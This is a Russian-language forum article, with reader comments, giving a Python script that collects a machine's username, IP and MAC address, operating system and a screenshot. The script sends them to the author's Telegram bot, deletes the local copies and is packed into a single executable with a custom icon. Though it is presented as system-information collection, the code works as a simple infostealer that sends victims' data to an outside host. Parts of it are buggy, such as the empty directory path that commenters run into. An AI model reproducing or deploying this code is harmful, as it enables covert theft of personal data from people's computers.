• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Статья Python - собираем и отправляем данные в Telegram

1605252368100.jpeg


Введение

Приветствую всех у кого есть время читать данный контент. Совсем недавно, еще в этом месяце меня посетила очень интересная идея. Сколько информации о системе можно собрать используя Python? Многие начнут размышлять и вывод будет достаточно большим, ведь собрать можно многое. Начиная от обычного название системы и заканчивая IP и MAC адресом (кстати как это собрать я тоже покажу). Поэтому, чтобы не оставлять данную идею в "мечтах" я принялся за ее реализацию. Приступим.

Подайте мне код!

Прежде всего любое написание программ начинается с импорта библиотек. Лично я использую для написания данного когда PyCharm. Надеюсь установить данную IDE у вас не составит проблем. Открываем программу, создаем новый файл и пишем:

Python:
import getpass
import os
import socket
import sys
from datetime import datetime, timezone
from uuid import getnode as get_mac
import pyautogui
from speedtest import Speedtest
import telebot
from PIL import Image

Если у вас пишет ошибку при импорте библиотек то нажав на значок ошибки и выбрав функцию на скриншоте нужные компоненты установятся самостоятельно (объяснение для тех, кто не работал в данной среде):

1605250794400.png


Продолжаем писать наш код, а именно подключим Telegram бота, который будет отправлять нам наши данные.

Python:
bot = telebot.TeleBot("здесь токен бота")

Объяснение в том, как создать самого бота не требуются, поэтому давайте назначим наши переменные, что будут собирать информацию для нас:

Python:
start = datetime.now()    # Засекает время работы (у всех оно разное)


name = getpass.getuser()    # Узнаем имя пользователя в системе

ip = socket.gethostbyname(socket.getfqdn())        # Берем ip-адрес

mac = get_mac()        # Собираем MAC адрес

ost = sys.platform

inet = Speedtest()    # Узнаем скорость интернет-соединения

download = float(str(inet.download())[0:2] + "."

                 + str(round(inet.download(), 2))[1]) * 0.125

uploads = float(str(inet.upload())[0:2] + "."

                + str(round(inet.download(), 2))[1]) * 0.125


time = datetime.now(timezone.utc).astimezone()        # Точное время дает

os.getcwd()        # Смотрим операционную систему

os.chdir(r" ")    # В скобочках расположения для временного хранения данных

screen = pyautogui.screenshot("screenshot.jpg")        # Скриншот


ends = datetime.now()    # Завершает нарутку времени
workspeed = format(ends - start)
os.getcwd()
os.chdir(r" ")
if ost == "win32":
    ost = str("Windows")
elif ost == "linux":
    ost = str("Linux")
elif ost == "darwin":
    ost = str("Mac OS")
else:
    pass

Комментарии к коду я оставил, поэтому особого времени на объяснения уделять не стану (если есть вопрос или не работает код пиши в комменты). А вот теперь сама суть, отправка данных и их запись, ведь здесь возникало много проблем. Создадим txt файл для записи наших данных:

Python:
file = open("info.txt", "w")    # Создаем и открываем
file.write(f'[================================================]\n  Operating System: {ost}\n  Username:   {name}\n  IP adress:   {ip}\n  MAC adress:  {mac}\n  Timezone:  {time}\n  Work speed:  {workspeed}\n[================================================]')
file.close()    # Записываем и закрываем

Отлично! Данные сохранены, теперь остается их отправить. В чем же проблема? Изначально она заключалось в открытии и закрытии сессии telegram-бота. Ведь установить соединение было легко, а создать автоматическое закрытие после отправки проблематично. Но итоги полноценной работы вы можете видеть ниже:

Python:
text = "Screenshot"        # Надпись для отправки


@bot.message_handler(commands=['start'])    # Команда юзера
def start_message(message):
    upfile = open("\info.txt", "rb")    # Октрытие файлов
    uphoto = open("\screenshot.jpg", "rb")
    bot.send_photo(message.chat.id, uphoto, text)    # Отправка файлов
    bot.send_document(message.chat.id, upfile)

    upfile.close()        # Закрытие всего
    uphoto.close()

    os.remove("info.txt")    # Удаление
    os.remove("screenshot.jpg")

    bot.stop_polling()        # Остановка работы


bot.polling()    # Запуск бота

Да, вот таким необычным способом мы отправляем наши данные. Но, чтобы они дошли перед тем как запустить наш готовый файл требуется отправить боту команду /start. Иначе он не поймет куда отправлять все это добро. Теперь тестируем работу нашей программы. Ошибок никаких быть не должно если все импортировано и вы используете Python 3.8 и выше (на этих версиях писался весь код).

Чтобы собрать наш готовый файл, открываем консоль и пишем:

pip install pyinstaller
pyinstaller -i путь до иконки --onefile имя_файла.py

Готово! Теперь запускаем наше добро и любуемся результатом.

Завершение

В этой статье я показал то, как собрать информацию о системе используя язык Python. Так же полноценные труды данной работы вы можете оценить на моем Github'е. Надеюсь данный код принесет вам пользу в сборе и анализе данных.

Весь код программы:

Python:
import getpass
import os
import socket
import sys
from datetime import datetime, timezone
from uuid import getnode as get_mac
import pyautogui
from speedtest import Speedtest
import telebot
from PIL import Image

bot = telebot.TeleBot("")

start = datetime.now()

name = getpass.getuser()
ip = socket.gethostbyname(socket.getfqdn())
mac = get_mac()
ost = sys.platform
inet = Speedtest()
download = float(str(inet.download())[0:2] + "."
                 + str(round(inet.download(), 2))[1]) * 0.125
uploads = float(str(inet.upload())[0:2] + "."
                + str(round(inet.download(), 2))[1]) * 0.125

time = datetime.now(timezone.utc).astimezone()
os.getcwd()
os.chdir(r" ")
screen = pyautogui.screenshot("screenshot.jpg")

ends = datetime.now()
workspeed = format(ends - start)
os.getcwd()
os.chdir(r" ")
if ost == "win32":
    ost = str("Windows")
elif ost == "linux":
    ost = str("Linux")
elif ost == "darwin":
    ost = str("Mac OS")
else:
    pass
file = open("info.txt", "w")
file.write(f'[================================================]\n  Operating System: {ost}\n  Username:   {name}\n  IP adress:   {ip}\n  MAC adress:  {mac}\n  Timezone:  {time}\n  Work speed:  {workspeed}\n[================================================]')
file.close()

text = "Screenshot"


@bot.message_handler(commands=['start'])
def start_message(message):
    upfile = open("\info.txt", "rb")
    uphoto = open("\screenshot.jpg", "rb")
    bot.send_photo(message.chat.id, uphoto, text)
    bot.send_document(message.chat.id, upfile)

    upfile.close()
    uphoto.close()

    os.remove("info.txt")
    os.remove("screenshot.jpg")

    bot.stop_polling()


bot.polling()
 

Gu-ga

One Level
20.02.2020
9
6
BIT
1
Подскажите, как решить проблему у меня, что то с библиотекой не получается подгрузить?
File "C:/9+.py", line 8, in <module>
from speedtest import Speedtest
ModuleNotFoundError: No module named 'speedtest'
ошибка с speedtest нажимаю погрузить и все ровно не может подгрузить(((
 

Gu-ga

One Level
20.02.2020
9
6
BIT
1
ошибка с speedtest нажимаю погрузить и все ровно не может подгрузить(((
Что пишет при попытке установить модуль?
эту решил проблему.
Теперь другая появилась
line 26, in <module>
os.chdir(r" ") # В скобочках расположения для временного хранения данных
OSError: [WinError 123] Синтаксическая ошибка в имени файла, имени папки или метке тома: ' '
 

Pernat1y

Red Team
05.04.2018
1 443
135
BIT
0
Что пишет при попытке установить модуль?
эту решил проблему.
Теперь другая появилась
line 26, in <module>
os.chdir(r" ") # В скобочках расположения для временного хранения данных
OSError: [WinError 123] Синтаксическая ошибка в имени файла, имени папки или метке тома: ' '
Пинай ТС. Это похоже на ошибку в скрипте.
 
T

to_0day

Что пишет при попытке установить модуль?
эту решил проблему.
Теперь другая появилась
line 26, in <module>
os.chdir(r" ") # В скобочках расположения для временного хранения данных
OSError: [WinError 123] Синтаксическая ошибка в имени файла, имени папки или метке тома: ' '
Указывай расположение с пробелом в конце. И без файла, просто директория. Если ты указал папку на диске C то запуск требуется программы от имени администратора
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!